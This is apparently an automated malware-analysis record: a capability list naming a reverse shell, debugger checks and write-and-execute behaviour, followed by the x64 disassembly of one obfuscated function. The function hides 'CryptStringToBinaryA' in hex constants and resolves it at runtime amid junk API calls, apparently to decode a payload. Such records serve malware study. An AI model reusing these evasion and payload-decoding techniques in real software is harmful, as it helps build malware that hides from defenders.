Function at 0x180002e40
Capabilities:
Check for debugger via api
Connect pipe
Copy file
Create directory
Create pipe
Create process on windows
Create reverse shell
Delete directory
Delete file
Enumerate gui resources
Get common file path
Get geographical location
Get memory capacity
Identify system language via api
Manipulate console buffer
Query environment variable
Read .ini file
Read pipe
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x138
mov rcx, qword [rsp + 0x150]
call fcn.18000a0b0
mov rax, qword [rax]
mov qword [rsp + 0xf8], rax
cmp dword [0x18007bda4], 0x1b945180
jne 0x180003048
xor edx, edx
lea rcx, str.KFMCmEJEdzIOABB
call qword [sym.imp.KERNEL32.dll_LocaleNameToLCID]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryDepthSList]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
lea rcx, str.QJRGOGMuKrwmyBhw
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLocalTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitCommEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockShared]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
xor edx, edx
lea rcx, str.OWIHsSApCOOjhiUnhwAEQwgEYl
call qword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNodeEx]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, str.bkpRKcVdtSrTjxi
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDurationFormat]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetupComm]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalExit]
mov rax, qword [0x18007bdb8]
mov qword [rsp + 0x88], rax
mov eax, 4
imul rax, rax, 0
mov dword [rsp + rax + 0x80], 0x70797243
mov eax, dword [0x18007bda4]
mov ecx, 0xce5a8772
cmp rax, rcx
jne 0x180003144
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.igrpAKEmnepCWOmdvPSGMVy
xor edx, edx
lea rcx, str.BdzrCMcXiecbdfSpe
call qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
call qword [sym.imp.USER32.dll_WaitMessage]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawEdge]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMaskEx]
xor r8d, r8d
xor edx, edx
lea rcx, str.zmgnHASxacNkCGtatV
call qword [sym.imp.KERNEL32.dll_OpenFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
call fcn.1800044a0
mov eax, 4
imul rax, rax, 1
mov dword [rsp + rax + 0x80], 0x2e323374
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x80]
mov qword [rsp + rax + 0x90], rcx
cmp dword [0x18007bda4], 0x79ef7e33
jne 0x1800033b2
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockFileEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowScrollBar]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMouseMovePointsEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeQueryNextServer]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenu]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBeep]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LogicalToPhysicalPoint]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCompact]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClipCursor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetDlgItemTextW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetScrollBarInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeAbandonTransaction]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnableScrollBar]
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x54]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetUpdateRect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessDEPPolicy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CharLowerW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCaret]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowContextHelpId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor r8d, r8d
lea rdx, str.FPINVMQQyiqzIRMirCUXWlvhOZiD
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNLSVersionEx]
mov word [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceLanguagesExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawTextW]
mov qword [rsp + 0xc8], 0x6c6c64
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + rax + 0x90], rcx
cmp dword [0x18007bda4], 0x36cb1538
jne 0x180003591
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetWaitableTimerEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xd0], rax
jmp 0x18000370a
mov eax, 8
imul rax, rax, 0
movabs rcx, 0x7274537470797243
mov qword [rsp + rax + 0x90], rcx
cmp dword [0x18007bda4], 0x7fbcc1f6
jne 0x18000395b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransactNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
lea rcx, str.TuxLWSErplqTIHwlkzNNaHBgR
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileCompletionNotificationModes]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, str.PUfbBAEZESTesmTQttNQPIpoZaWn
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.DFNBhWcTIKJEKpzxq
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNLSString]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientProcessId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.xpnRWlhaHFqBbdQseIepIvm
xor edx, edx
lea rcx, str.hzKoPjrGBqceJBCDJOq
call qword [sym.imp.KERNEL32.dll_GetCurrencyFormatEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov word [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferInfoEx]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlCaptureStackBackTrace]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.IiKbKoaBSJxvfZIccznFCaMBTMrRE
xor edx, edx
lea rcx, str.oDRIHNFLeKjZytiOD
call qword [sym.imp.KERNEL32.dll_LCMapStringEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
mov eax, 8
imul rax, rax, 1
movabs rcx, 0x6e69426f54676e69
mov qword [rsp + rax + 0x90], rcx
cmp dword [0x18007bda4], 0x3925513c
jne 0x180003aea
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUILanguageInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r8d, r8d
lea rdx, str.ihyWJwAlabEsIrQvypVlItDMgphWd
lea rcx, str.SYwTAgzlLdPqHOeIqzlBWvuujAIw
call qword [sym.imp.KERNEL32.dll_CopyFile2]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapViewOfFileExNuma]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesTransactedW]
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemFileCacheSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
mov eax, 8
imul rax, rax, 2
mov qword [rsp + rax + 0x90], 0x41797261
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18007bdc8], rax
mov eax, dword [0x18007bda4]
mov ecx, 0xe14ae197
cmp rax, rcx
jne 0x180003c8a
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.EyVUeWnODmQToDhyrdUFONRfI
xor edx, edx
lea rcx, str.CKaYDcdEsGKOShoVSSf
call qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.kXpmpRnwCSFgQvCpnZRBMvklIXrYn
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.QRHqlUyycoVCXMkCRAIrQAnZewOm
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalLock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPreferredUILanguages]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemFileCacheSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNodeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [0x18007bda0]
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x6c]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x74], 0x30de1
mov r8d, 0x1c5
mov rdx, qword [0x18007bdc8]
lea rcx, [rsp + 0x120]
call fcn.18000b180
lea rcx, [rsp + 0x110]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x74]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x110]
call fcn.18000b1c0
mov dword [rsp + 0xc0], eax
cmp dword [0x18007bda4], 0xf5214a3
jne 0x180003f3a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerCreateRequest]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientSessionId]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FoldStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SleepConditionVariableCS]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.180003f90
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x150]
call fcn.180003f70
mov rax, qword [rsp + 0x100]
add rsp, 0x138
pop rdi
pop rsi
ret